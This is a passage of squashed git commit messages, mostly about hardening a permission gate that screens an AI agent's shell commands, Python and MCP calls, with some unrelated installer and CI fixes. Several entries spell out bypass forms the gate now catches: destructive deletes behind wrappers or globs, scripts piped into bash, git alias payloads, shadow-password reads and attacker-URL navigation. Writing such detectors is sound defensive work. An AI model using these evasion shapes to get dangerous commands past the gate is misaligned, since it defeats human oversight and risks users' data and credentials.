- MCP: clear/reset/empty/flush/prune/expire destructive verbs, promote.
- deno/bun expose inline eval as a subcommand, not a flag.
- A bare redirect (`> file`, `: > file`) truncates; a redirect after a real
command is an ordinary write and still runs.
- A forwarded git command keeps its git context (`find -exec git clean`,
`xargs git clean`), and an unquoted `cmd /c` payload spans the remainder.
Adds regression rows for every case and its benign counterpart.
* Gate shell control flow, bash -c clusters, wrapper option values, and annotated aliases
- `if`/`while`/`until` are followed by a condition the shell runs, so a command
there is at command position. `if rm -rf build; then :; fi` slipped both the
classifier and the blocklist (they share the keyword set, so both are fixed).
- A short letter run after `-c` (bash -ce, bash -cl) is more bash options, not
an attached payload: bash still reads the command string from the next token,
so the real payload was never screened.
- A wrapper option taking a separate value (env -u NAME, stdbuf -o L, timeout
--signal TERM, nice -n 5) had its value read as the wrapped command, so
`env -u FOO rm -rf build` resolved the command `FOO` and never judged `rm`.
env -C/--chdir is deliberately excluded: it is gated as a chdir already.
- An annotated binding (f: object = os.remove) is the same alias as a plain
assignment; only ast.Assign was collected.
Adds regression rows for each case and its benign counterpart.
* Fix two gate regressions and close seven more bypasses
Regressions from the previous round, both caught by review:
- Shell keywords were treated as separators anywhere, so `grep if rm README.md`
resolved `rm` as a command and was blocked. A keyword only separates where a
command may start, so gate the check on command position (all three scanners).
- The wrapper option-value table was shared across wrappers, but `env -i` is
valueless while `stdbuf -i` takes a value. `env -i git clean -fd` therefore
consumed `git` and never judged the subcommand. The table is per wrapper now.
New gaps closed:
- `git -c alias.NAME=PAYLOAD` defines code git then runs. Screen the payload: a
`!` alias as a shell command, a plain one as `git <payload>`.
- A script fed to a shell over a pipe (printf '...' | bash) or a herestring
(bash <<< '...') never appears at command position. Ordinary pipes still run.
- `chroot`, `nsenter` and `unshare` cross a privilege or namespace boundary and
then exec a nested command the wrapper hides.
- A bare runtime name (mcp__srv__python, __node, __code) is an MCP execution
tool even without a verb.
- `m = __import__("os")` binds the module like `import os as m`, and
`getattr(__import__("os"), "remove")` reaches it inline.
Declined: gating every command substitution used as a path argument (would
prompt on `echo $(date)` / `make $(FILES)`), and bare `git checkout <path>`
(statically indistinguishable from the very common `git checkout <branch>`).
Adds regression rows for each case and its benign counterpart.
* Pin the auto-mode contract with benign and dangerous corpora
The value of defaulting to "Approve for me" rests on two properties that pull
in opposite directions: ordinary development work must run silently, and
genuinely dangerous work must still prompt. Every denylist change risks
trading one for the other, and a regression in the benign direction is easy to
miss because nothing fails, the mode just starts nagging.
Add two corpora that pin both directions: 62 ordinary commands, python
snippets and MCP calls that must NOT prompt (package installs, builds, tests,
git workflow, reads, ordinary pipes and redirects), and 55 dangerous ones that
must (credential reads, destructive and persistence changes, privilege
escalation, network exec and exfil, container escapes, obfuscated forms).
125 cases, currently 100 percent in both directions.
* Scope four over-prompting checks and close six more gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- find/fd were marked forwarding from the command itself, so every later
positional looked executable and a search whose pattern happened to equal a
gated command name prompted. They only forward after an explicit
-exec/-execdir/-ok flag now.
- The openssl s_client check was not command-position aware, so grepping for
the string in a README prompted.
- An exec-valued flag (--checkpoint-action, --rsh, --rsync-path) counted no
matter which command owned it, so printf '%s' --rsh prompted. It now
requires the owning utility (tar/rsync/scp/sftp) in the same command.
- A listener behind a wrapper or given by absolute path was missed instead
(env uvicorn, timeout 60 gunicorn, /usr/local/bin/uvicorn); resolving the
binary at command position covers all three.
New gaps closed:
- git checkout <commit> <path> overwrites the file from that commit, as does
--pathspec-from-file. A single positional stays ambiguous with a branch name
and is still left alone.
- git config alias.NAME BODY stores code git runs on the next invocation, so
the body is screened like the -c form.
- systemd-run launches a nested command as a transient unit.
- Version-suffixed perl/ruby/php/node still run inline code with -e/-r.
- A file handle bound by `with open(...) as f` is tracked for truncate, not
just an assigned one.
- Exceeding the shell nesting depth now fails closed, matching the docstring,
instead of letting an unscreened payload through.
Declined: rebinding a command name through the bash hash builtin. Like the
alias/read/awk/coproc family already declined, it is deliberate
self-obfuscation of an already-gated command rather than anything a model
emits, and the always-on backstops cover it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope two more over-prompting checks and close four gate gaps
Over-prompting fixes (auto mode was pausing on ordinary work):
- A recursive flag was looked for across the whole command line, so
`grep -R pattern . && chmod +x build.sh` made the chmod look recursive and
prompted. The flag is now scoped to the segment that owns the command.
- The startup-file names were matched anywhere in the line, so `cat
notes.profile.bak` and `my.zshrc.template` prompted. They now have to sit on
a path boundary, while the real dotfiles still prompt.
New gaps closed:
- A pending wrapper option value leaked past a command separator, so the
command after it was never screened (`env -u` followed by a recursive delete
was missed). The pending state is cleared at every separator now.
- git plumbing and maintenance that loses data: update-ref, reflog, gc, prune
and history rewriting drop refs and unreachable objects, the same loss the
porcelain forms already gate.
- A module pulled in dynamically is screened against the same set as a static
import, so a dynamically imported socket or shutil is treated alike.
- MCP names that move money or ship artefacts (transfer, payout, charge,
refund, wire, publish, deploy) are irreversible for the operator even though
they are not destructive in the filesystem sense.
Declined two items:
- Gating arbitrary interpreters that can shell out (awk BEGIN blocks and
friends). Consistent with the alias/read/coproc/trap family already declined
here: it inverts the denylist into an allowlist and costs real ergonomics for
payloads a model does not emit in normal work.
- Prompting on every write outside the session workdir. Ordinary builds and
scripts write to the standard temp directories constantly, so this would
prompt on routine work. Persistence and credential paths are already gated
specifically.
* Resolve command-position globs and keep quoted data out of shell syntax
- A glob at command position is expanded by bash after this scan runs, so
`/bin/r[m] -rf x` was screened under a name that never executes. The
always-on blocklist now resolves such a pattern against the blocked names,
and the classifier asks when a command word cannot be resolved at all. The
test builtins are excluded, and a pattern carrying no literal character
resolves to nothing in particular.
- A dollar-quoted word expands to a single word, so a newline inside it is
data rather than a separator. Decoding it before tokenization made
`printf '%s'` with multiline data read as two commands and the call was
refused outright. The decoded text can no longer introduce shell syntax,
while an escape-obfuscated command name still resolves.
- An attribute name assembled from literals is folded before it is screened,
so a deletion spelled as a concatenation is treated like the plain form. A
name on a filesystem module that cannot be folded at all fails closed, since
there is nothing left to screen.
- An MCP name with no separators never reached the segment boundaries, so a
server-side execution tool was classified as ordinary even though the
previous classifier failed closed on it. The verb and object compounds are
matched directly now, while a name that merely starts with those letters is
left alone.
Also narrowing a verb pair added in the previous commit: subscribing to a
topic is not a billing subscription, and pub/sub tools should not prompt.
* Screen attached exec values, wrapped openssl, php code flags, worktree removal and sysctl writes
- fd accepts the command attached to the flag (--exec=<cmd>, --exec-batch=),
and that spelling was stripped and discarded without ever being screened.
The value is treated as command position now, in the classifier and in the
always-on blocklist. Only the long spellings are read this way: a short -x
belongs to too many other utilities for its neighbour to be a command.
- The openssl socket check was anchored at command position, so a wrapper in
front of it (env, timeout) hid the very thing it was meant to catch. The
subcommand is checked on the resolved command segment now, so the wrapped
and absolute forms are covered. Local openssl (dgst, enc) still runs.
- php runs code from -B, -R and -E as well as -r, which are begin, per-line
and end blocks. Only -r was listed, so the other three ran inline programs
unscreened.
- git worktree remove --force deletes a linked worktree even when it holds
uncommitted work or is locked, but only the first-level subcommand was read
so the nested action was invisible. An unforced remove refuses on a dirty
worktree and stays out, matching how the checkout and switch discard flags
are handled.
- sysctl -w, --system and -p change kernel parameters, and the assignment form
writes without needing a flag. A read-only query stays automatic.
* Fail closed on unscreenable MCP names, alias bodies and stored lookups
- An MCP name whose verb this classifier does not recognise now asks. MCP
tools run on an external server, outside the terminal sandbox and every
backstop under it, and their names are an open vocabulary rather than the
finite set of POSIX utilities, so the denylists could never be complete: a
name built from an unfamiliar verb sailed through as ordinary. A generous
read and write vocabulary keeps the everyday tools running, and the reverse
or repeat of a recognised verb (undelete, reopen, resend) counts as
recognised too. Measured against thirty tool names taken from the common
servers, one still prompts, and that one is the pre-existing execution rule
rather than this one.
- A shell alias body is a command bash runs when the alias is invoked, so it
is screened as a command in its own right, in the classifier and in the
always-on blocklist. This is the same shape as a git alias body, which was
already handled; leaving the shell form out was inconsistent.
- git --config-env=<key>=<envvar> takes its value from the environment, so an
alias key stores code that never appears in the command text at all. The
attached form was skipped entirely because the parser required no equals
sign. An alias key gates it now; ordinary keys are untouched.
- A destructive lookup stored before it is called (a name bound to
getattr(os, "remove")) matched neither the direct call shape nor the alias
collection, so it ran. The binding is tracked now.
- A credential basename only names a file when it appears in a string, but the
whole Python source was being scanned, so `credentials = {}`, a function
called load_credentials and even a comment mentioning credentials all
prompted while performing no I/O. The check applies to string literals now,
with the raw scan kept for source that does not parse.
* Split git short-option clusters and close five more gate gaps
- Git combines short options, so `git push -qf`, `git checkout -qf` and
`git branch -qD` never matched the exact-string flag sets and ran without a
prompt. Clusters are split before the destructive flags are checked. Also
adds the short `-f` spelling to the branch set, which moves a ref and can
abandon its commits.
- `getent shadow` and `getent gshadow` return password hashes straight from
NSS, so the read never spells out a path for the sensitive-path check to
find. The database name is gated instead; ordinary lookups (hosts, passwd)
still run.
- The account-management set covered useradd and usermod but not adduser,
deluser, addgroup, delgroup, groupmod, gpasswd, newusers or chgpasswd, so
`gpasswd -a user sudo` granted group membership silently.
- at and batch hand a payload to atd, which runs it later as this user and
outside this invocation's blocklist, resource limits, timeout and
cancellation. They belong with crontab.
- A command word bash builds without the NAME=value form (printf -v, read)
left nothing at command position to screen. A bare variable executed as a
command that assignment expansion could not resolve now fails closed. A
variable used as a path prefix is deliberately excluded: ${VENV}/bin/python
still leaves a literal basename the scan can read.
* Stop prompting on six inspection shapes and close eighteen gate gaps
Over-prompting fixes, which matter most here since not interrupting ordinary
work is the point of the change:
- `git clean -n` and `--dry-run` list what would be removed and remove nothing,
so they are inspection commands. The subcommand was gated regardless of its
flags; a dry run is now recognised in the same segment.
- The listener check matched a module name anywhere in the line, so
`echo 'python -m http.server'` and grepping for it prompted. It is anchored at
command position now, like the server-binary check beside it.
- An MCP name that reads names its SUBJECT, not the action: `get_release`,
`get_invoice`, `search_code` and `get_code` were prompting because the impact
and runtime-noun patterns fired on the noun. A read verb now suppresses both,
while an execution verb still wins.
- Free text is not a statement. An issue body or chat message that mentions
DELETE FROM, a credential file or a path was read as an action. Statements are
taken from the query-bearing argument names, and paths are skipped only for
the prose names, since a path can be carried under any other name.
- curl and wget presence was decided by substring, so `grep curl notes.txt &&
wget -T 5 ...` lent curl's option letters to wget.
Gaps closed:
- git checkout-index -f overwrites the working tree from the index; git tag -d
and -f delete or replace a ref; git switch -C and checkout -B reset an
existing branch the way branch -f does.
- Ending a process (kill, pkill, killall, taskkill, tskill) or the machine
(shutdown, reboot, halt, poweroff) was ungated, though the Python os.kill
equivalent already prompted. setcap grants file capabilities without sudo.
- A network client behind a wrapper (env curl -T) was missed because the client
check ran before the wrapper was resolved. slogin is a standard ssh alias and
was in neither set. wget spells the request method --method=DELETE.
- A tracer (strace, ltrace, valgrind, perf) runs the rest of the line as a
child, so the real command sat in argument position behind it.
- A redirection may precede the command word, so `</dev/null` hid what followed
from both scanners. `exec -a NAME cmd` puts a name where the command goes, and
the Windows `if exist FILE cmd` form puts an operand there.
- In Python: a walrus binds a module or a callee just like an assignment,
builtins.__import__ is the attribute form of __import__, and psutil ends a
process exactly as os.kill does. The psutil check is keyed on the import so an
unrelated .kill() on a user object keeps running.
- Over MCP: a credential carried in an argument NAME (Authorization, X-API-Key,
Cookie) goes out whatever its value looks like; collaborator and team-member
grants are access changes like the role verbs; and a recurring subscription
bills repeatedly.
* Bound the classifier's input and stop prompting on four more ordinary shapes
Found by simulating the whole corpus against pre-PR main on Linux, macOS and
Windows tokenizers and diffing the two, then feeding the classifier adversarial
input.
Robustness:
- The credential-path pattern backtracks superlinearly, so a long argument made
a single classification take seconds. Measured on main as well as here, so it
predates this change, but this change makes the auto gate the default and so
runs it on every call. Text far past any real path, and a command far past any
real command, now fail closed: they ask rather than spending unbounded time
deciding. Worst case over the adversarial set drops from a hang to 13 ms.
Over-prompting fixes:
- A container CLI reading its own state (docker ps, docker images, docker logs,
kubectl get) is inspection. The whole CLI was gated because the escape lives
in the arguments of run/exec, so the read subcommands were caught with it. An
unrecognised subcommand still asks, so the list can only be too small.
- A python payload is screened with the same analyzer the python tool uses, so
`python -c 'import torch; print(torch.__version__)'` runs while a destructive
one-liner still asks. A payload that does not parse fails closed, since shell
quoting may have mangled it. The other runtimes have no analyzer here and stay
gated.
- An assignment with no command after it runs nothing: every terminal call gets
its own shell process, so `export PATH=...` on its own dies with that process.
Verified against real bash rather than assumed.
- For the search paths other than PATH (PYTHONPATH and friends), a relative
entry points inside the session workdir, which is the agent's own directory,
so `PYTHONPATH=. pytest` runs. An absolute or escaping entry can shadow a real
module and still asks. PATH itself counts for every value, because a relative
entry there is the sharpest form of the hijack (`PATH=. ls` runs ./ls).
Net effect on the probe corpus, identical on all three platforms: ordinary and
inspection commands go from 99 of 136 prompting to 0, dangerous stays at 99 of
99, and the always-on hard-block set loses nothing and gains six entries.
* Tighten the permission-mode comments
Comment-only pass over the code this branch added. Every explanation is
collapsed to the fewest lines that still read clearly, redundant restatements
of the code are dropped, and a handful of blocks that had drifted away from the
constant or branch they describe are moved back next to it.
The non-obvious behaviours keep their note, just shorter: an unforced
`git worktree remove` refusing on a dirty worktree, a bare `-c` yielding an
empty attached value rather than None, `.` being the POSIX synonym for
`source`, prose keys being skipped rather than path keys allowlisted, and the
route keeping an unset mode lenient so non-streaming clients still work.
No code, string literal or test expectation changed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate the navigation sinks reached by bracket access
The canvas egress check gated location.assign / location.replace and an
assignment to location.href, and it already handled bracket access for the
fetch family, but not for the navigation sinks. So `location['assign'](url)`
and `location['href'] = url` auto-ran and could navigate the preview frame to
an attacker URL with the page contents appended, which is the same egress the
dot forms already gate.
Both bracket forms are covered now, including a fully bracketed host
(`window['location']['href']`). The names are anchored to location so ordinary
bracket keys stay static: a string's own `['replace']`, an object's `['href']`,
and reading `location['href']` all still run without a prompt.
* Gate seven more ways a command reaches the shell in auto mode
git submodule foreach runs its argument in every submodule, so the payload is
a command in its own right; it now recurses through the terminal classifier and
through the hard-block scan. An awk program can shell out with system() or by
piping to "sh", so the program text is screened for those two shapes while
ordinary field work (awk '{print $1}') keeps running.
setpriv changes privilege and then execs what follows, so it is transparent to
the scan (setpriv --nnp rm -f x resolves rm) and its privilege-raising flags
(--reuid, --ambient-caps, --bounding-set) prompt on their own. fallocate
punches, zeroes or collapses a range in place, which destroys file contents,
so those flags prompt while plain allocation (-l SIZE) does not.
vars(os)["remove"] and os.__dict__["unlink"] resolve an attribute the same way
getattr does, so the module namespace dict is screened with the same key rules,
anchored to a filesystem module so an ordinary d["remove"] stays out.
Removing a package (pip uninstall torch, uv pip uninstall, conda remove) tears
down the environment the backend itself runs in; installing into it does not,
and stays automatic.
The listener check was anchored at command position, so a wrapper in front of
it (env python -m http.server, timeout 60 python -m uvicorn) slipped past. The
module after -m is now resolved at the token level, after wrapper resolution.
Adds 54 rows to the classifier tables covering both directions.
---------
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Fix PDF-grounded QA recipe for QLoRA
* Handle empty unstructured seed columns
* Respect unstructured seed drop toggle
* Add PDF QA QLoRA regression coverage for PR #7107
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix PDF QA recipe import and Alpaca context
* Align PDF QA recipe contract coverage
* Preserve structured seed drop state on import
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep PDF QA integration opt-in without pytest marker
---------
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
tests/studio/install/test_rocm_rdna_routing.py errors out on CPU-only CI,
taking Repo tests (CPU) with it, all 12 cases with
OSError: libhipblas.so.2: cannot open shared object file
AttributeError: module 'torch._C' has no attribute '_cuda_getCurrentRawStream'
The spoof presents torch as a Radeon card, which flips
torch.cuda.is_available() to True and sets torch.version.hip. bitsandbytes
gates its backend on exactly that:
if torch.cuda.is_available():
from .backends.cuda import ops as cuda_ops
so a bitsandbytes imported afterwards walks into the CUDA/ROCm path against a
CPU-only wheel and dies reading torch._C._cuda_getCurrentRawStream. It reaches
the test because unsloth_zoo imports it eagerly, guarded by except ImportError,
which neither OSError nor AttributeError satisfies.
Import it in the spoof instead, while is_available() is still False, so the CPU
path is cached in sys.modules before torch is rewritten. Placed in the shared
apply(), ahead of the first mutation and inside the idempotence guard, so the
ROCm spoof that layers on top gets it too.
Co-authored-by: danielhanchen <unslothai@gmail.com>
Follow-up to #7435, which fixed _smart_apt_install. Three sites were left.
studio/setup.sh: the WSL GGUF build-deps block is the pre-#7435 install.sh
pattern verbatim. It probes with 'test -r /dev/tty', assumes REPLY=y when that
fails, and then runs the elevated apt-get with stdin open. Its own guard
comment says a password is needed on WSL, so this is exactly the scenario from
issue #7307, and install.sh runs setup.sh in the same install. Give it the same
treatment: a real open probe, -n -k with stdin closed on the headless path, and
the manual command plus the existing _SKIP_GGUF_BUILD degradation on failure.
The helper is defined locally because setup.sh runs as its own process.
install.sh autostart prompt: still used 'test -r /dev/tty' and printed the
question before checking, leaving a dangling prompt in container logs. Reuse
_can_read_tty and move the printf inside the branch.
install.sh interactive escalation: a sudoers denial, a wrong password or an apt
error aborted on the bare message while the headless branch printed what to run
by hand. Make both symmetric.
Co-authored-by: danielhanchen <unslothai@gmail.com>
* studio: fix Backend CI red on main from an ambiguous ordering anchor
test_load_marker_precedes_hub_guard_and_unload fails on main, so every
open PR against the repo inherits the failure.
Root cause. #7239 (a7761e174) reworked the GGUF GPU-pool validation in
_load_model_impl from "if config.is_gguf and effective_gpu_ids is not
None:" to a bare "if config.is_gguf:", placed earlier in the function
than the GGUF load branch. The test anchors on
source.index("if config.is_gguf:"), a first-match search, so it silently
re-anchored onto the GPU-pool statement. #7251 (95f42bcce) then restored
the assertion "= _resolve_inherited_extra_args(" before
"if config.is_gguf:" against a tree where that anchor already pointed at
the wrong statement, and main went red. Checking out 95f42bcce and
running the suite reproduces the same single failure.
The code is correct. _resolve_inherited_extra_args still runs before the
GGUF load branch and before the hub-download guard that consumes
extra_llama_args for require_mmproj, so the guarantee #7251 protects is
intact; only the assertion is wrong.
Fix. Assert that guarantee behaviourally instead of by source offsets.
The new test drives _load_model_impl over a vision GGUF with a stored
--no-mmproj from a previous same-model load and captures the
require_mmproj the hub guard is called with: inherited --no-mmproj gives
False, nothing to inherit gives True, and an explicit request list wins
over the stored one both ways. Moving the resolution call after the
guard makes the inherited case report True and the test fails, so it
detects the reorder the old assertion was meant to catch, without
depending on how many "if config.is_gguf:" statements the endpoint has.
The surviving marker-before-guard-before-unload assertion had the same
ambiguous anchor for its slice start, silently widening the slice past
the GPU-pool block. It now slices from the "if config.is_gguf:" nearest
above the in-flight marker, which pins the load branch.
The structlog test stub gains a get_logger factory so routes/inference.py
is importable when structlog is absent.
34 pass in tests/test_gguf_load_cache_reuse.py (was 32 pass, 1 fail);
350 pass across it plus test_llama_cpp_mmproj_fallback.py and
test_llama_cpp_mtp_detection.py. A full backend run before and after is
identical apart from this test going from fail to pass.
* studio/tests: repair a pre-existing bare structlog stub before importing routes
* studio/tests: tighten the comments on the new load-ordering coverage
* Tighten comments on the load-ordering coverage for PR #7442
The Agents tab added in #7303 sets its avatar initial and its two status
pills with raw px utilities (text-[11px], text-[10px]). Those ignore the UI
font size preference, so the text stays fixed while the rest of Settings
scales, and tests/studio/test_ui_font_scale_contract.py fails on main.
Swapped for the existing tokens in index.css, which are the same sizes
multiplied by --ui-font-scale: text-ui-11 and text-ui-10.
Co-authored-by: danielhanchen <unslothai@gmail.com>
The Agents tab landed with three raw px text utilities, so its avatar initials
and the two status pills ignore the UI font size preference and stay fixed while
the rest of the dialog scales.
Swap them for the existing text-ui-11 / text-ui-10 tokens, which is what the rest
of the frontend already uses (149 and 128 call sites respectively).
This is what test_no_raw_pixel_text_utilities guards, so Repo tests (CPU) has been
red on main since the tab was added, and every open PR inherits the failure.
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Fix GGUF tool chat server recovery
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover MTP precedence and loosen the replay assertion for PR #7424
Add a regression test for the MTP branch of the tool-loop respawn retry: the
file-wide _make_backend stub forces _maybe_recover_from_mtp_crash to False, so
nothing exercised the case where an MTP crash reload is already claimed and an
ordinary same-config respawn must not run on top of it. Cover both the next
tool-loop request and the final synthesis pass.
Replace the whole-payload equality assertions with a field-wise check. Comparing
the full dict pins max_tokens to the value derived from the dead server's
effective context, so a later fix that rebuilds server-derived defaults after a
respawn would read as a test failure rather than an improvement.
Document that the one-retry budget is per model request, not per chat turn.
* Recover from prefill-time deaths and stop respawn racing the MTP reload
Two gaps in the tool-loop respawn retry, both reproduced before fixing.
A child that exits during prefill has already accepted the socket, so httpx
raises ReadError, WriteError or RemoteProtocolError rather than ConnectError.
Those all arrive before the response opens, which is exactly the window where a
replay is safe, but the helper only caught ConnectError and gave up. Widen the
catch to NetworkError plus RemoteProtocolError. Timeouts stay excluded on
purpose: they mean the server is slow, not dead, and retrying one would spend
the 20 minute first-token budget twice. Windows resets connections where Linux
refuses them, so this also covers the common Windows presentation.
_maybe_recover_from_mtp_crash returns False both when the crash is not an MTP
crash and when an MTP-free reload is already in flight. Callers read that as
permission to respawn, so _respawn_if_dead replayed the crashing MTP kwargs and,
by replacing the process, made the in-flight reload abort on its own newer-load
check. Skip the respawn while that reload owns the corpse. The guard lives in
_respawn_if_dead so the plain chat path gets it too.
Regression tests for both, including a guard against retrying prefill timeouts.
* Release the MTP single-flight claim when the reload never starts
_mtp_runtime_fallback_in_progress is claimed before the reload thread exists, and
only that thread's finally clears it. Two statements ran in between with no unwind
path: re-reading _last_load_kwargs, which an unload can null underneath us, and
Thread.start(), which raises under the thread exhaustion that is exactly the
pressure killing llama-server in the first place. Nothing else ever resets the
flag, so a failure there latched it for the life of the process.
That was survivable before, since respawn ignored the flag. It is not now: the
guard added in db78184be keys off the flag alone, so a latch would silently
disable auto-respawn for every later model, including plain non-MTP ones. Read
the kwargs and process once before claiming, and release the claim if the thread
cannot start.
Restore the whole-payload equality assertions. Comparing field-wise was meant to
leave room for rebuilding server-derived defaults on replay, but the payload is
built once before the retry and re-sent unchanged, so the looser check only
dropped seven real keys and added a vacuous seed comparison.
Also correct the docstring: llama-server flushes its 200 at slot start, so a
death during decode arrives with the response already open. The pre-header window
this covers is an upload still in flight or a request waiting behind busy slots.
* Confirm the child exited before spending the retry
A closing llama-server can beat its own exit status: the socket error arrives while
poll() still reports the process running. _respawn_if_dead then took the alive
branch, handed back the stale _healthy, and the caller read that as a successful
respawn and spent its single retry on the same corpse. When that retry failed,
attempt was no longer 0, so no respawn ever happened and the turn died, with a log
line claiming a respawn that had not occurred. The window matters most for the
pre-header ReadError and RemoteProtocolError shutdowns the retry now covers.
Wait a bounded second for the exit status before calling the child alive. The same
race is already conceded in _maybe_recover_from_mtp_crash, whose recovery thread
polls for 5s because the error can arrive a beat early; 1s here because this runs
on the request path, and a genuinely live server, including one a concurrent caller
has just respawned, still returns promptly.
* Tighten the recovery comments
* Harden the respawn path around concurrent unloads and replacements
Two problems with the reap grace loop, both found by review.
Skip the grace when the server was already replaced. A caller queued on
_respawn_lock behind someone else's respawn woke holding the healthy replacement,
could not tell it from the child its own request had used, and waited out the full
grace. That sleep is under the lock, so the waits serialised: four concurrent
generations cost roughly three grace periods before any retry began. Capture the
process before taking the lock and return early once it has been swapped.
Do not respawn a server that is being torn down on purpose. unload_model() sets
_cancel_event and only clears _last_load_kwargs after the kill, so a request losing
its connection mid-unload could watch that deliberate exit through the grace loop,
read the stale kwargs and load the model straight back; a model switch landing
during the wait was reverted the same way. Re-check the cancel flag and the process
identity under _serial_load_lock before capturing the replay kwargs, matching what
the MTP-crash reload already does.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the respawn comments
* Do not charge the reap grace to a server that is still serving
The grace loop added for the not-yet-reaped race waits on poll(), which for a
live child never returns, so every transient transport error paid the full
_RESPAWN_REAP_GRACE_S. That sleep is held under _respawn_lock, so the cost
serialised: measured 1002 ms for one caller and 8.02 s for eight concurrent ones,
against 0 ms on main. A working install pays this, not a broken one.
A llama-server's listening socket dies with the process, so a loopback connect
separates the two cases in microseconds. Probe it first and return immediately
when the port still accepts; fall through to the grace only when the port is
gone, which is the case the grace exists for. Back to 0.7 ms for one caller and
0.00 s for eight.
Cross-checked on real hardware over Qwen3.5-2B, Llama-3.2-1B, Gemma-3-4B with
mmproj and Qwen3-30B-A3B: decode throughput within noise of main (-0.06%, -3.71%,
+2.57%, +0.29%, against a 54-232% spread between rounds of a single run), output
byte-identical on every round, tool-path recovery restored on the three families
whose model calls the tool, and plain-chat recovery still working on all four.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make the respawn lose to a deliberate unload in every window
Two follow-ups on the respawn path, both reproduced first.
Check _cancel_event before the socket fast path. unload_model sets the flag before
it kills, so the child is still accepting when the probe runs; returning the stale
_healthy there aims the retry at a server that is deliberately going away.
Close the unload TOCTOU. The old cancel check sat under _serial_load_lock, which
unload_model never takes, so an unload could land entirely between that check and
load_model and the captured kwargs would restart a model the user had stopped.
Snapshot the kwargs, the flag and a new _unload_epoch together under _lock, the
lock unload does hold, so a teardown is either wholly before the snapshot or
wholly after it. load_model clears _cancel_event on the way in, so the epoch is
the only evidence that survives; when it moves during the reload the replacement
is unloaded again rather than left running.
_lock stays uncontended across load_model, which would deadlock a plain Lock and
block /status for the length of a load. Error-path latency is unchanged: 0.6 ms
for a live server and 0.00 s for eight concurrent callers.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Fix the CPU-only ROCm routing errors and two font-scale UI flakes
Two unrelated causes of red CI on every PR, both reproduced before fixing.
ROCm routing: 12 errors on Repo tests (CPU). The spoof reports an AMD GPU, and
unsloth_zoo pulls in bitsandbytes, which picks a compute backend at import. Once
torch looks like a GPU is present, bnb loads its ROCm/CUDA ops, which a CPU-only
torch cannot satisfy (no libhipblas.so.2, no torch._C._cuda_getCurrentRawStream),
so the child died before printing RESULT. Nothing here tests bitsandbytes, so
import it first, under the honest hardware. Reproduced in a CPU-only torch venv:
11 passed with 12 errors before, 23 passed after. Still 23 passed on a CUDA build.
Font-scale UI: the select-viewport step pressed ArrowDown six times behind fixed
sleeps, but Radix moves focus into the listbox after the content opens, so on a
loaded runner the keys landed on the trigger and nothing scrolled. Wait on the
overflow and press until it moves, bounded at 40. The same fixed-sleep pattern
made open_appearance miss the dialog when the shortcut fired before the app wired
its handler; alternate both chords on a bounded retry and wait for the control the
caller is about to drive.
Both were reproduced locally by running the suite against a real Studio under full
CPU load. Original: 2 of 10 passed, with the exact CI signature 'keyboard did not
scroll the select viewport: 0' five times. Fixed: 10 of 10.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the ROCm routing assertion live on Apple Silicon for PR #7469
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* install.sh: do not assume sudo consent when there is no terminal (#7307 P7)
_smart_apt_install printed an "Accept? [Y/n]" prompt, and when /dev/tty was
unreadable it set REPLY=y and escalated anyway. Every sudo call in that branch
redirects stdin from /dev/null, so on any host where sudo needs a password the
install died on sudo's own error rather than the actionable message the no-sudo
path already prints. Containers, CI and locked-down corporate machines hit this.
Probe with `sudo -n true` first. If there is no terminal to prompt on and sudo
would need a password, exit with the missing packages and the exact command to
run, matching the no-sudo path. Passwordless sudo still escalates unattended,
which is the one case where that is legitimate, and says so in the log.
With a readable /dev/tty the behaviour is unchanged, and the prompt now only
prints when something can actually answer it.
Extend tests/sh/test_apt_distro_prompt.sh to drive the real function across all
four TTY/sudo combinations, rewriting /dev/tty to a fixture path the same way
the existing cases rewrite /etc/os-release. Against the old install.sh five of
these assertions fail. Register the file in studio-backend-ci.yml's shell suite,
which did not run it before.
* install.sh: probe the real tty and the real sudo commands (#7307)
Codex review follow-ups on the no-TTY sudo escalation guard.
`test -r /dev/tty` only reads the device node's permission bits. Inside
containers and systemd units those bits look fine while open() fails with
ENXIO, so the guard still fell through to a prompt nobody could answer.
_can_read_tty() does a real open. The subshell is load-bearing: in dash a
failed redirection on the special builtin `:` exits the script.
`sudo -n true` proves only that `true` is allowed. Under a command-specific
rule like `NOPASSWD: /usr/bin/apt-get` it is the wrong question in both
directions. _sudo_runs_unattended() asks the sudoers policy about the exact
argument vectors we are about to elevate, via `sudo -n -l --`, which checks
without running and fails instead of prompting.
Tests cover both: a NOPASSWD-on-trivia-but-not-apt-get sudoers stub, and a
readable-but-unopenable /dev/tty faked with a unix socket (skipped where the
platform cannot produce that shape).
* install.sh: test sudo by running it with -n, not by asking sudo -l
Codex follow-up. `sudo -n -l -- apt-get ...` answers authorization, not
authentication: on a host where apt-get is permitted but still carries the
PASSWD tag, list mode exits 0 while the actual run needs a password, so the
guard reported unattended and the escalation died exactly as #7307 described.
Inferring the answer from list output means parsing for `!authenticate`, which
